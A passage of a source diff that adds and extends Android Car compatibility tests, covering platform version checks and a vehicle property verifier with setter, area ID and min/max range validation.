@@ -45,7 +46,6 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InterruptedIOException;
-import java.lang.Math;
import java.nio.file.Files;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -165,6 +165,8 @@
* @return Total written bytes recorded for the current userId and package name.
*/
private static long parseDump(String content, int userId, String packageName) throws Exception {
+ String ioWritesHeader = Car.getPlatformVersion().isAtLeast(VERSION_CODES.TIRAMISU_1)
+ ? "Top N Storage I/O Writes:" : "Top N Writes:";
long writtenBytes = 0;
Section curSection = Section.NONE;
String errorLines = "";
@@ -180,7 +182,7 @@
if (line.contains("collector failed to access")) {
errorLines += "\n" + line;
}
- if (line.matches("Top N Writes:")) {
+ if (line.matches(ioWritesHeader)) {
curSection = Section.WRITTEN_BYTES_HEADER_SECTION;
continue;
}
diff --git a/tests/tests/car/src/android/car/cts/PlatformVersionTest.java b/tests/tests/car/src/android/car/cts/PlatformVersionTest.java
new file mode 100644
index 0000000..652c841
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/PlatformVersionTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static android.os.Build.VERSION_CODES.TIRAMISU;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.PlatformVersion;
+import android.car.annotation.ApiRequirements;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+
+public final class PlatformVersionTest extends AbstractCarLessTestCase {
+
+ @Test
+ @ApiTest(apis = {"android.car.PlatformVersion.VERSION_CODES#TIRAMISU_0"})
+ public void testTiramisu_0() {
+ PlatformVersion version = PlatformVersion.VERSION_CODES.TIRAMISU_0;
+
+ assertWithMessage("TIRAMISU_0").that(version).isNotNull();
+ expectWithMessage("TIRAMISU_0.major").that(version.getMajorVersion())
+ .isEqualTo(TIRAMISU);
+ expectWithMessage("TIRAMISU_0.minor").that(version.getMinorVersion())
+ .isEqualTo(0);
+
+ PlatformVersion fromEnum = ApiRequirements.PlatformVersion.TIRAMISU_0.get();
+ assertWithMessage("TIRAMISU_0 from enum").that(fromEnum).isNotNull();
+ expectWithMessage("TIRAMISU_0 from enum").that(fromEnum).isSameInstanceAs(version);
+
+ String toString = version.toString();
+ expectWithMessage("TIRAMISU_0.toString()").that(toString)
+ .matches(".*PlatformVersion.*name=TIRAMISU_0.*major=" + TIRAMISU + ".*minor=0.*");
+ PlatformVersion clone = clone(version);
+ expectWithMessage("TIRAMISU_0.toString() from parcel").that(clone.toString())
+ .isEqualTo(toString);
+
+ PlatformVersion anonymous = PlatformVersion.forMajorAndMinorVersions(
+ version.getMajorVersion(), version.getMinorVersion());
+ expectWithMessage("TIRAMISU_0").that(version).isEqualTo(anonymous);
+ expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+ expectWithMessage("TIRAMISU_0's hashcode").that(version.hashCode())
+ .isEqualTo(anonymous.hashCode());
+ expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+ .isEqualTo(version.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.PlatformVersion.VERSION_CODES#TIRAMISU_1"})
+ public void testTiramisu_1() {
+ PlatformVersion version = PlatformVersion.VERSION_CODES.TIRAMISU_1;
+
+ assertWithMessage("TIRAMISU_1").that(version).isNotNull();
+ expectWithMessage("TIRAMISU_1.major").that(version.getMajorVersion())
+ .isEqualTo(TIRAMISU);
+ expectWithMessage("TIRAMISU_1.minor").that(version.getMinorVersion())
+ .isEqualTo(1);
+
+ PlatformVersion fromEnum = ApiRequirements.PlatformVersion.TIRAMISU_1.get();
+ assertWithMessage("TIRAMISU_1 from enum").that(fromEnum).isNotNull();
+ expectWithMessage("TIRAMISU_1 from enum").that(fromEnum).isSameInstanceAs(version);
+
+ String toString = version.toString();
+ expectWithMessage("TIRAMISU_1.toString()").that(toString)
+ .matches(".*PlatformVersion.*name=TIRAMISU_1.*major=" + TIRAMISU + ".*minor=1.*");
+ PlatformVersion clone = clone(version);
+ expectWithMessage("TIRAMISU_1.toString() from parcel").that(clone.toString())
+ .isEqualTo(toString);
+
+ PlatformVersion anonymous = PlatformVersion.forMajorAndMinorVersions(
+ version.getMajorVersion(), version.getMinorVersion());
+ expectWithMessage("TIRAMISU_1").that(version).isEqualTo(anonymous);
+ expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+ expectWithMessage("TIRAMISU_1's hashcode").that(version.hashCode())
+ .isEqualTo(anonymous.hashCode());
+ expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+ .isEqualTo(version.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.PlatformVersion#CREATOR"})
+ public void testMarshalling() {
+ PlatformVersion original = PlatformVersion.forMajorAndMinorVersions(66, 6);
+ expectWithMessage("original.describeContents()").that(original.describeContents())
+ .isEqualTo(0);
+
+ PlatformVersion clone = clone(original);
+ assertWithMessage("CREATOR.createFromParcel()").that(clone).isNotNull();
+ expectWithMessage("clone.major").that(clone.getMajorVersion()).isEqualTo(66);
+ expectWithMessage("clone.minor").that(clone.getMinorVersion()).isEqualTo(6);
+ expectWithMessage("clone.describeContents()").that(clone.describeContents())
+ .isEqualTo(0);
+ expectWithMessage("clone.equals()").that(clone).isEqualTo(original);
+ expectWithMessage("clone.hashCode()").that(clone.hashCode()).isEqualTo(original.hashCode());
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.PlatformVersion#CREATOR"})
+ public void testNewArray() {
+ PlatformVersion[] array = PlatformVersion.CREATOR.newArray(42);
+
+ assertWithMessage("CREATOR.newArray()").that(array).isNotNull();
+ }
+
+ private PlatformVersion clone(PlatformVersion original) {
+ Parcel parcel = Parcel.obtain();
+ try {
+ original.writeToParcel(parcel, /* flags= */ 0);
+ parcel.setDataPosition(0);
+
+ return PlatformVersion.CREATOR.createFromParcel(parcel);
+ } finally {
+ parcel.recycle();
+ }
+ }
+
+}
diff --git a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
index 1e68b01..0001420 100644
--- a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
+++ b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
@@ -173,6 +173,8 @@
.isEqualTo("HVAC_MAX_AC_ON");
assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_DEFROST_ON))
.isEqualTo("HVAC_MAX_DEFROST_ON");
+ assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_ELECTRIC_DEFROSTER_ON))
+ .isEqualTo("HVAC_ELECTRIC_DEFROSTER_ON");
assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_POWER_ON))
.isEqualTo("HVAC_POWER_ON");
assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_RECIRC_ON))
diff --git a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
index 743c460..e58aa1f 100644
--- a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
+++ b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
@@ -20,26 +20,66 @@
import static org.junit.Assume.assumeNotNull;
+import android.car.VehicleAreaMirror;
+import android.car.VehicleAreaSeat;
import android.car.VehicleAreaType;
+import android.car.VehicleAreaWheel;
+import android.car.VehicleAreaWindow;
import android.car.VehiclePropertyIds;
+import android.car.VehiclePropertyType;
import android.car.hardware.CarPropertyConfig;
import android.car.hardware.CarPropertyValue;
import android.car.hardware.property.CarPropertyManager;
import android.os.SystemClock;
+import android.util.SparseArray;
+
+import com.android.internal.annotations.GuardedBy;
import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Sets;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
import java.util.List;
import java.util.Optional;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;
+import java.util.stream.IntStream;
public class VehiclePropertyVerifier<T> {
private final static String CAR_PROPERTY_VALUE_SOURCE_GETTER = "Getter";
private final static String CAR_PROPERTY_VALUE_SOURCE_CALLBACK = "Callback";
+ private static final float FLOAT_INEQUALITY_THRESHOLD = 0.00001f;
+ private static final ImmutableSet<Integer> WHEEL_AREAS = ImmutableSet.of(
+ VehicleAreaWheel.WHEEL_LEFT_FRONT, VehicleAreaWheel.WHEEL_LEFT_REAR,
+ VehicleAreaWheel.WHEEL_RIGHT_FRONT, VehicleAreaWheel.WHEEL_RIGHT_REAR);
+ private static final ImmutableSet<Integer> ALL_POSSIBLE_WHEEL_AREA_IDS =
+ generateAllPossibleAreaIds(WHEEL_AREAS);
+ private static final ImmutableSet<Integer> WINDOW_AREAS = ImmutableSet.of(
+ VehicleAreaWindow.WINDOW_FRONT_WINDSHIELD, VehicleAreaWindow.WINDOW_REAR_WINDSHIELD,
+ VehicleAreaWindow.WINDOW_ROW_1_LEFT, VehicleAreaWindow.WINDOW_ROW_1_RIGHT,
+ VehicleAreaWindow.WINDOW_ROW_2_LEFT, VehicleAreaWindow.WINDOW_ROW_2_RIGHT,
+ VehicleAreaWindow.WINDOW_ROW_3_LEFT, VehicleAreaWindow.WINDOW_ROW_3_RIGHT,
+ VehicleAreaWindow.WINDOW_ROOF_TOP_1, VehicleAreaWindow.WINDOW_ROOF_TOP_2);
+ private static final ImmutableSet<Integer> ALL_POSSIBLE_WINDOW_AREA_IDS =
+ generateAllPossibleAreaIds(WINDOW_AREAS);
+ private static final ImmutableSet<Integer> MIRROR_AREAS = ImmutableSet.of(
+ VehicleAreaMirror.MIRROR_DRIVER_LEFT, VehicleAreaMirror.MIRROR_DRIVER_RIGHT,
+ VehicleAreaMirror.MIRROR_DRIVER_CENTER);
+ private static final ImmutableSet<Integer> ALL_POSSIBLE_MIRROR_AREA_IDS =
+ generateAllPossibleAreaIds(MIRROR_AREAS);
+ private static final ImmutableSet<Integer> SEAT_AREAS = ImmutableSet.of(
+ VehicleAreaSeat.SEAT_ROW_1_LEFT, VehicleAreaSeat.SEAT_ROW_1_CENTER,
+ VehicleAreaSeat.SEAT_ROW_1_RIGHT, VehicleAreaSeat.SEAT_ROW_2_LEFT,
+ VehicleAreaSeat.SEAT_ROW_2_CENTER, VehicleAreaSeat.SEAT_ROW_2_RIGHT,
+ VehicleAreaSeat.SEAT_ROW_3_LEFT, VehicleAreaSeat.SEAT_ROW_3_CENTER,
+ VehicleAreaSeat.SEAT_ROW_3_RIGHT);
+ private static final ImmutableSet<Integer> ALL_POSSIBLE_SEAT_AREA_IDS =
+ generateAllPossibleAreaIds(SEAT_AREAS);
+
private final int mPropertyId;
private final String mPropertyName;
@@ -52,7 +92,13 @@
private final Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier;
private final Optional<AreaIdsVerifier> mAreaIdsVerifier;
private final ImmutableSet<Integer> mPossibleConfigArrayValues;
+ private final ImmutableSet<T> mPossibleCarPropertyValues;
private final boolean mRequirePropertyValueToBeInConfigArray;
+ private final boolean mVerifySetterWithConfigArrayValues;
+ private final boolean mRequireMinMaxValues;
+ private final boolean mRequireMinValuesToBeZero;
+ private final boolean mRequireZeroToBeContainedInMinMaxRanges;
+ private final boolean mPossiblyDependentOnHvacPowerOn;
private VehiclePropertyVerifier(int propertyId, int access, int areaType, int changeMode,
Class<T> propertyType, boolean requiredProperty,
@@ -60,7 +106,13 @@
Optional<CarPropertyValueVerifier> carPropertyValueVerifier,
Optional<AreaIdsVerifier> areaIdsVerifier,
ImmutableSet<Integer> possibleConfigArrayValues,
- boolean requirePropertyValueToBeInConfigArray) {
+ ImmutableSet<T> possibleCarPropertyValues,
+ boolean requirePropertyValueToBeInConfigArray,
+ boolean verifySetterWithConfigArrayValues,
+ boolean requireMinMaxValues,
+ boolean requireMinValuesToBeZero,
+ boolean requireZeroToBeContainedInMinMaxRanges,
+ boolean possiblyDependentOnHvacPowerOn) {
mPropertyId = propertyId;
mPropertyName = VehiclePropertyIds.toString(propertyId);
mAccess = access;
@@ -72,7 +124,13 @@
mCarPropertyValueVerifier = carPropertyValueVerifier;
mAreaIdsVerifier = areaIdsVerifier;
mPossibleConfigArrayValues = possibleConfigArrayValues;
+ mPossibleCarPropertyValues = possibleCarPropertyValues;
mRequirePropertyValueToBeInConfigArray = requirePropertyValueToBeInConfigArray;
+ mVerifySetterWithConfigArrayValues = verifySetterWithConfigArrayValues;
+ mRequireMinMaxValues = requireMinMaxValues;
+ mRequireMinValuesToBeZero = requireMinValuesToBeZero;
+ mRequireZeroToBeContainedInMinMaxRanges = requireZeroToBeContainedInMinMaxRanges;
+ mPossiblyDependentOnHvacPowerOn = possiblyDependentOnHvacPowerOn;
}
public static <T> Builder<T> newBuilder(int propertyId, int access, int areaType,
@@ -139,46 +197,163 @@
}
verifyCarPropertyConfig(carPropertyConfig);
+
+ if (mPossiblyDependentOnHvacPowerOn) {
+ CarPropertyConfig<?> hvacPowerOnCarPropertyConfig =
+ carPropertyManager.getCarPropertyConfig(VehiclePropertyIds.HVAC_POWER_ON);
+ if (hvacPowerOnCarPropertyConfig != null
+ && hvacPowerOnCarPropertyConfig.getConfigArray().contains(mPropertyId)) {
+ turnOnHvacPower(carPropertyManager, hvacPowerOnCarPropertyConfig);
+ }
+ }
+
verifyCarPropertyValueGetter(carPropertyConfig, carPropertyManager);
verifyCarPropertyValueCallback(carPropertyConfig, carPropertyManager);
+ verifyCarPropertyValueSetter(carPropertyConfig, carPropertyManager);
+ }
+
+ private void turnOnHvacPower(CarPropertyManager carPropertyManager,
+ CarPropertyConfig<?> hvacPowerOnCarPropertyConfig) {
+ for (int areaId : hvacPowerOnCarPropertyConfig.getAreaIds()) {
+ if (carPropertyManager.getProperty(VehiclePropertyIds.HVAC_POWER_ON,
+ areaId).getValue().equals(true)) {
+ continue;
+ }
+ verifySetProperty((CarPropertyConfig<Boolean>) hvacPowerOnCarPropertyConfig,
+ carPropertyManager, areaId, Boolean.TRUE);
+ }
+ }
+
+ private void verifyCarPropertyValueSetter(CarPropertyConfig<?> carPropertyConfig,
+ CarPropertyManager carPropertyManager) {
+ if (carPropertyConfig.getAccess() == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ) {
+ return;
+ }
+ if (Boolean.class.equals(carPropertyConfig.getPropertyType())) {
+ verifyBooleanPropertySetter(carPropertyConfig, carPropertyManager);
+ } else if (Integer.class.equals(carPropertyConfig.getPropertyType())) {
+ verifyIntegerPropertySetter(carPropertyConfig, carPropertyManager);
+ } else if (Float.class.equals(carPropertyConfig.getPropertyType())) {
+ verifyFloatPropertySetter(carPropertyConfig, carPropertyManager);
+ }
+ }
+
+ private void verifyBooleanPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+ CarPropertyManager carPropertyManager) {
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ CarPropertyValue<Boolean> currentCarPropertyValue = carPropertyManager.getProperty(
+ mPropertyId, areaId);
+ verifyCarPropertyValue(carPropertyConfig, currentCarPropertyValue, areaId,
+ CAR_PROPERTY_VALUE_SOURCE_GETTER);
+ Boolean valueToSet = !currentCarPropertyValue.getValue();
+ verifySetProperty((CarPropertyConfig<Boolean>) carPropertyConfig, carPropertyManager,
+ areaId, valueToSet);
+ verifySetProperty((CarPropertyConfig<Boolean>) carPropertyConfig, carPropertyManager,
+ areaId, !valueToSet);
+ }
+ }
+
+ private void verifyIntegerPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+ CarPropertyManager carPropertyManager) {
+ if (mVerifySetterWithConfigArrayValues) {
+ verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+ (Collection<T>) carPropertyConfig.getConfigArray());
+ } else if (!mPossibleCarPropertyValues.isEmpty()) {
+ verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+ mPossibleCarPropertyValues);
+ } else {
+ verifySetterWithMinMaxValues(carPropertyConfig, carPropertyManager);
+ }
+ }
+
+ private void verifySetterWithValues(CarPropertyConfig<T> carPropertyConfig,
+ CarPropertyManager carPropertyManager, Collection<T> valuesToSet) {
+ for (T valueToSet : valuesToSet) {
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ verifySetProperty(carPropertyConfig, carPropertyManager, areaId, valueToSet);
+ }
+ }
+ }
+
+ private void verifySetterWithMinMaxValues(CarPropertyConfig<?> carPropertyConfig,
+ CarPropertyManager carPropertyManager) {
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ if (carPropertyConfig.getMinValue(areaId) == null || carPropertyConfig.getMinValue(
+ areaId) == null) {
+ continue;
+ }
+ List<Integer> valuesToSet = IntStream.rangeClosed(
+ ((Integer) carPropertyConfig.getMinValue(areaId)).intValue(),
+ ((Integer) carPropertyConfig.getMaxValue(areaId)).intValue()).boxed().collect(
+ Collectors.toList());
+
+ for (Integer valueToSet : valuesToSet) {
+ verifySetProperty((CarPropertyConfig<Integer>) carPropertyConfig,
+ carPropertyManager, areaId, valueToSet);
+ }
+ }
+ }
+
+ private void verifyFloatPropertySetter(CarPropertyConfig<?> carPropertyConfig,
+ CarPropertyManager carPropertyManager) {
+ if (!mPossibleCarPropertyValues.isEmpty()) {
+ verifySetterWithValues((CarPropertyConfig<T>) carPropertyConfig, carPropertyManager,
+ mPossibleCarPropertyValues);
+ }
+ }
+
+ private <T> void verifySetProperty(CarPropertyConfig<T> carPropertyConfig,
+ CarPropertyManager carPropertyManager, int areaId, T valueToSet) {
+ CarPropertyValue<T> currentCarPropertyValue = carPropertyManager.getProperty(
+ mPropertyId, areaId);
+ verifyCarPropertyValue(carPropertyConfig, currentCarPropertyValue, areaId,
+ CAR_PROPERTY_VALUE_SOURCE_GETTER);
+ if (valueEquals(valueToSet, currentCarPropertyValue.getValue())) {
+ return;
+ }
+ SetterCallback setterCallback = new SetterCallback(mPropertyId, mPropertyName, areaId,
+ valueToSet);
+ assertWithMessage("Failed to register setter callback for " + mPropertyName).that(
+ carPropertyManager.registerCallback(setterCallback, mPropertyId,
+ CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
+ carPropertyManager.setProperty(carPropertyConfig.getPropertyType(), mPropertyId, areaId,
+ valueToSet);
+ CarPropertyValue<?> updatedCarPropertyValue =
+ setterCallback.waitForUpdatedCarPropertyValue();
+ verifyCarPropertyValue(carPropertyConfig, updatedCarPropertyValue, areaId,
+ CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
+ carPropertyManager.unregisterCallback(setterCallback, mPropertyId);
}
private void verifyCarPropertyValueCallback(CarPropertyConfig<?> carPropertyConfig,
CarPropertyManager carPropertyManager) {
- if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC
- || mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE) {
- CarPropertyValueCallback carPropertyValueCallback =
- new CarPropertyValueCallback(mPropertyName,
- carPropertyConfig.getAreaIds().length);
- assertWithMessage("Failed to register callback for " + mPropertyName).that(
- carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
- CarPropertyManager.SENSOR_RATE_ONCHANGE)).isTrue();
- List<CarPropertyValue<?>> carPropertyValues =
- carPropertyValueCallback.getCarPropertyValues();
- carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
+ int updatesPerAreaId = 1;
+ long timeoutMillis = 1500;
+ if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
+ updatesPerAreaId = 2;
+ float secondsToMillis = 1_000;
+ long bufferMillis = 1_000; // 1 second
+ timeoutMillis = ((long) ((1.0f / carPropertyConfig.getMinSampleRate()) * secondsToMillis
+ * updatesPerAreaId)) + bufferMillis;
+ }
- for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
- verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
- carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
- }
- assertWithMessage(mPropertyName
- + " callback values did not cover all the property's area IDs").that(
- carPropertyValues.stream().map(CarPropertyValue::getAreaId).collect(
- Collectors.toList())
- ).containsExactlyElementsIn(
- Arrays.stream(carPropertyConfig.getAreaIds()).boxed().collect(
- Collectors.toList()));
+ CarPropertyValueCallback carPropertyValueCallback = new CarPropertyValueCallback(
+ mPropertyName, carPropertyConfig.getAreaIds(), updatesPerAreaId, timeoutMillis);
+ assertWithMessage("Failed to register callback for " + mPropertyName).that(
+ carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
+ carPropertyConfig.getMaxSampleRate())).isTrue();
+ SparseArray<List<CarPropertyValue<?>>> areaIdToCarPropertyValues =
+ carPropertyValueCallback.getAreaIdToCarPropertyValues();
+ carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
- } else if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
- CarPropertyValueCallback carPropertyValueCallback =
- new CarPropertyValueCallback(mPropertyName, 1);
- assertWithMessage("Failed to register callback for " + mPropertyName).that(
- carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
- CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
- List<CarPropertyValue<?>> carPropertyValues =
- carPropertyValueCallback.getCarPropertyValues();
- carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
-
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ List<CarPropertyValue<?>> carPropertyValues = areaIdToCarPropertyValues.get(areaId);
+ assertWithMessage(
+ mPropertyName + " callback value list is null for area ID: " + areaId).that(
+ carPropertyValues).isNotNull();
+ assertWithMessage(mPropertyName + " callback values did not receive " + updatesPerAreaId
+ + " updates for area ID: " + areaId).that(carPropertyValues.size()).isAtLeast(
+ updatesPerAreaId);
for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
@@ -212,6 +387,12 @@
assertWithMessage(mPropertyName + " must be " + mPropertyType + " type property")
.that(carPropertyConfig.getPropertyType()).isEqualTo(mPropertyType);
+ assertWithMessage(mPropertyName + "'s must have at least 1 area ID defined").that(
+ carPropertyConfig.getAreaIds().length).isAtLeast(1);
+ assertWithMessage(mPropertyName + "'s area IDs must all be unique: " + Arrays.toString(
+ carPropertyConfig.getAreaIds())).that(ImmutableSet.copyOf(Arrays.stream(
+ carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList())).size()
+ == carPropertyConfig.getAreaIds().length).isTrue();
if (mAreaIdsVerifier.isPresent()) {
mAreaIdsVerifier.get().verify(carPropertyConfig.getAreaIds());
} else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
@@ -219,6 +400,18 @@
mPropertyName + "'s AreaIds must contain a single 0 since it is "
+ areaTypeToString(mAreaType))
.that(carPropertyConfig.getAreaIds()).isEqualTo(new int[]{0});
+ } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL) {
+ verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_WHEEL_AREA_IDS);
+ verifyNoAreaOverlapInAreaIds(carPropertyConfig, WHEEL_AREAS);
+ } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW) {
+ verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_WINDOW_AREA_IDS);
+ verifyNoAreaOverlapInAreaIds(carPropertyConfig, WINDOW_AREAS);
+ } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR) {
+ verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_MIRROR_AREA_IDS);
+ verifyNoAreaOverlapInAreaIds(carPropertyConfig, MIRROR_AREAS);
+ } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_SEAT) {
+ verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_SEAT_AREA_IDS);
+ verifyNoAreaOverlapInAreaIds(carPropertyConfig, SEAT_AREAS);
}
if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
@@ -248,6 +441,62 @@
assertWithMessage(mPropertyName + " configArray is undefined, so it must be empty")
.that(carPropertyConfig.getConfigArray().size()).isEqualTo(0);
}
+
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ T areaIdMinValue = (T) carPropertyConfig.getMinValue(areaId);
+ T areaIdMaxValue = (T) carPropertyConfig.getMaxValue(areaId);
+ if (mRequireMinMaxValues) {
+ assertWithMessage(mPropertyName + " - area ID: " + areaId
+ + " must have min value defined").that(areaIdMinValue).isNotNull();
+ assertWithMessage(mPropertyName + " - area ID: " + areaId
+ + " must have max value defined").that(areaIdMaxValue).isNotNull();
+ }
+ if (mRequireMinValuesToBeZero) {
+ assertWithMessage(
+ mPropertyName + " - area ID: " + areaId + " min value must be zero").that(
+ areaIdMinValue).isEqualTo(0);
+ }
+ if (mRequireZeroToBeContainedInMinMaxRanges) {
+ assertWithMessage(mPropertyName + " - areaId: " + areaId
+ + "'s max and min range must contain zero").that(
+ verifyMaxAndMinRangeContainsZero(areaIdMinValue, areaIdMaxValue)).isTrue();
+
+ }
+ if (areaIdMinValue == null || areaIdMaxValue == null) {
+ continue;
+ }
+ assertWithMessage(
+ mPropertyName + " - areaId: " + areaId + "'s max value must be >= min value")
+ .that(verifyMaxAndMin(areaIdMinValue, areaIdMaxValue)).isTrue();
+ }
+ }
+
+ private boolean verifyMaxAndMinRangeContainsZero(T min, T max) {
+ int propertyType = mPropertyId & VehiclePropertyType.MASK;
+ switch (propertyType) {
+ case VehiclePropertyType.INT32:
+ return (Integer) max >= 0 && (Integer) min <= 0;
+ case VehiclePropertyType.INT64:
+ return (Long) max >= 0 && (Long) min <= 0;
+ case VehiclePropertyType.FLOAT:
+ return (Float) max >= 0 && (Float) min <= 0;
+ default:
+ return false;
+ }
+ }
+
+ private boolean verifyMaxAndMin(T min, T max) {
+ int propertyType = mPropertyId & VehiclePropertyType.MASK;
+ switch (propertyType) {
+ case VehiclePropertyType.INT32:
+ return (Integer) max >= (Integer) min;
+ case VehiclePropertyType.INT64:
+ return (Long) max >= (Long) min;
+ case VehiclePropertyType.FLOAT:
+ return (Float) max >= (Float) min;
+ default:
+ return false;
+ }
}
private void verifyContinuousCarPropertyConfig(CarPropertyConfig<?> carPropertyConfig) {
@@ -298,6 +547,10 @@
+ areaId)
.that(carPropertyValue.getAreaId())
.isEqualTo(areaId);
+ assertWithMessage(mPropertyName + " - areaId: " + areaId + " - source: " + source
+ + " area ID must be in carPropertyConfig#getAreaIds()").that(Arrays.stream(
+ carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList()).contains(
+ carPropertyValue.getAreaId())).isTrue();
assertWithMessage(
mPropertyName + " - areaId: " + areaId + " - source: " + source
+ " value's status must be valid")
@@ -326,9 +579,97 @@
carPropertyValue.getValue())).isTrue();
}
+ if (!mPossibleCarPropertyValues.isEmpty()) {
+ if (Float.class.equals(mPropertyType)) {
+ boolean foundInPossibleValues = false;
+ for (Float possibleValue : (Collection<Float>) mPossibleCarPropertyValues) {
+ if (floatEquals(possibleValue, (Float) carPropertyValue.getValue())) {
+ foundInPossibleValues = true;
+ break;
+ }
+ }
+ assertWithMessage(
+ mPropertyName + " - areaId: " + areaId + " - source: " + source + " value: "
+ + carPropertyValue.getValue() + " must be listed in the Float set: "
+ + mPossibleCarPropertyValues).that(foundInPossibleValues).isTrue();
+ } else {
+ assertWithMessage(mPropertyName + " - areaId: " + areaId + " - source: " + source
+ + " value must be listed in the set").that(
+ carPropertyValue.getValue()).isIn(mPossibleCarPropertyValues);
+ }
+ }
+
mCarPropertyValueVerifier.ifPresent(
propertyValueVerifier -> propertyValueVerifier.verify(carPropertyConfig,
carPropertyValue));
+
+ T areaIdMinValue = (T) carPropertyConfig.getMinValue(areaId);
+ T areaIdMaxValue = (T) carPropertyConfig.getMaxValue(areaId);
+ if (areaIdMinValue != null && areaIdMaxValue != null) {
+ assertWithMessage(
+ "carPropertyValue must be between the max and min values")
+ .that(verifyValueInRange(areaIdMinValue, areaIdMaxValue,
+ (T) carPropertyValue.getValue())).isTrue();
+ }
+ }
+
+ private boolean verifyValueInRange(T min, T max, T value) {
+ int propertyType = mPropertyId & VehiclePropertyType.MASK;
+ switch (propertyType) {
+ case VehiclePropertyType.INT32:
+ return ((Integer) value >= (Integer) min && (Integer) value <= (Integer) max);
+ case VehiclePropertyType.INT64:
+ return ((Long) value >= (Long) min && (Long) value <= (Long) max);
+ case VehiclePropertyType.FLOAT:
+ return ((Float) value >= (Float) min && (Float) value <= (Float) max);
+ default:
+ return false;
+ }
+ }
+
+ private static ImmutableSet<Integer> generateAllPossibleAreaIds(ImmutableSet<Integer> areas) {
+ ImmutableSet.Builder<Integer> allPossibleAreaIdsBuilder = ImmutableSet.builder();
+ for (int i = 1; i <= areas.size(); i++) {
+ allPossibleAreaIdsBuilder.addAll(Sets.combinations(areas, i).stream().map(areaCombo -> {
+ Integer possibleAreaId = 0;
